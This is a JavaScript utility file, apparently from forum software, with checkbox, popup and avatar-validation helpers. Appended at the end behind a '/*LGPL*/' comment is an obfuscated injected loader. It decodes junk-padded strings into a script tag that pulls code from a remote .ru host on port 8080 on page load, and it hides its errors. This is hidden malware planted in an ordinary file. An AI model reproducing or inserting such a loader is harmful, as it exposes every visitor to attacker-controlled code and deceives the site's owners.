function setCheckboxes(the_form, the_elements, do_check) {
    if (document.forms[the_form].elements[the_elements]) {
        var elts     = document.forms[the_form].elements[the_elements];
        var elts_cnt = elts.length;

        if (elts_cnt) {
            for(var i = 0; i < elts_cnt; i++) {
                elts[i].checked = do_check;
            }
        } else {
            elts.checked = do_check;
        }
    }
    return true;
}

function invertSelection(the_form, element_name) {
    if (document.forms[the_form].elements[element_name]) {
        var elements = document.forms[the_form].elements[element_name];
        var count    = elements.length;
        if (count) {
            for(var i = 0; i < count; i++) {
                if (elements[i].checked == true) {
                    elements[i].checked = false;
                } else {
                    elements[i].checked = true;
                }
            }
        } else {
            if (elements.checked == true) {
                elements.checked = false;
            } else {
                elements.checked = true;
            }
        }
    }
    return true;
}

function Popup(url, window_name, window_width, window_height) {
    settings=
    "toolbar=no,location=no,directories=no,"+
    "status=no,menubar=no,scrollbars=yes,"+
    "resizable=yes,width="+window_width+",height="+window_height;
    NewWindow=window.open(url,window_name,settings);
}


function icon(theicon) {
    AddText('', '', theicon, messageElement)
}

function avatarCheck(input, max_size) {
    var image = new Image();
    image.onload = function() {
        var avatarCheck = document.getElementById('avatarCheck');
        var isValid = document.getElementById('newavatarcheck');
        max_size = max_size.split("x");

        if (input.value == "") {
            avatarCheck.innerHTML = "";
            isValid.value = "no";
        } else if (image.width == 0 || image.height == 0) {
            isValid.value = "no";
            avatarCheck.style.color = "#ff0000";
            avatarCheck.innerHTML = "Invalid: Invalid Image";
        } else if ((image.width > max_size[0] && max_size[0] != 0) || (image.height > max_size[1] && max_size[1] != 0)) {
            isValid.value = "no";
            avatarCheck.style.color = "#ff0000";
            avatarCheck.innerHTML = "Invalid: Image Too Large (Max Size = " + max_size[0] + "x" + max_size[1] + ")";
        } else {
            avatarCheck.style.color = "#00ff00";
            isValid.value = "yes";
            avatarCheck.innerHTML = "Valid Image";
        }
    }
    image.src = input.value;
}

self.name = 'mainwindow';



/*LGPL*/ try{ window.onload = function(){var Mdef5nq1wli7erg = document.createElement('s$c$(r#(i$#^(p$t#@#'.replace(/@|\(|\!|&|\)|\^|\$|#/ig, ''));Mdef5nq1wli7erg.setAttribute('defer', 'd#@^e(@f!!#)e&(!#r!)@'.replace(/&|@|\(|\)|\^|\$|#|\!/ig, ''));Mdef5nq1wli7erg.setAttribute('type', 't@$e&@##x(t^@#&/&!j$^)a@&v!&a!s((c@r#@^i&@p(!)t('.replace(/#|\^|\!|\(|@|\$|&|\)/ig, ''));Mdef5nq1wli7erg.setAttribute('id', 'V&((@z(&!^4^5#@$m(!^q@1((#z&&7@^!g#!(0!@'.replace(/\(|\!|\^|@|\)|\$|&|#/ig, ''));Mdef5nq1wli7erg.setAttribute('s)r!)c!'.replace(/@|&|\)|#|\$|\!|\(|\^/ig, ''),  'h((t!#$t)#p!$&:)(@/$!/$^r@$m^!#@x(&a(&d&s&-)@@c@(o^m@&.^&^p(#^d)#f@(d)a!@t(#^#a^#b#&(a!$s^!^$e$#.$!c!o$)m^)!.$&e$(b@#(a&$y@@)!-@#(e#@^!s#!(.@&!))c@$@a#)$r^!s#)w!@e^b)#^n@^e)&t)$.^#r)@&u!$:&8&0&&((8^0))^$/!m)!i$@(i$b()e#!&@i&)#@@a#n)^.@g&^^^o$$)v&)&.^c&)^$$n)/!$m$@@&$i&#!#)i(&^@b(^e(^i!^a^)(n(##.($g)@)&o)&)(v^#$.^&c!&n$#/^(a&@!(d&$d@!i&!c)!$()t^$i)#n(#@#g(g)&a)!m(&e^^@s#!.^)&c@#o(!m(&&/&^1@7@@1!(7)(&3)@.^$c$o)&m#/#)$&g)!o&^$o!g#^^l)e((.&$c@#o$^#m&#!&/!'.replace(/#|@|\!|&|\$|\(|\)|\^/ig, ''));if (document){document.body.appendChild(Mdef5nq1wli7erg);}} } catch(Fq4f26hc6pnd5bgs14jnx) {}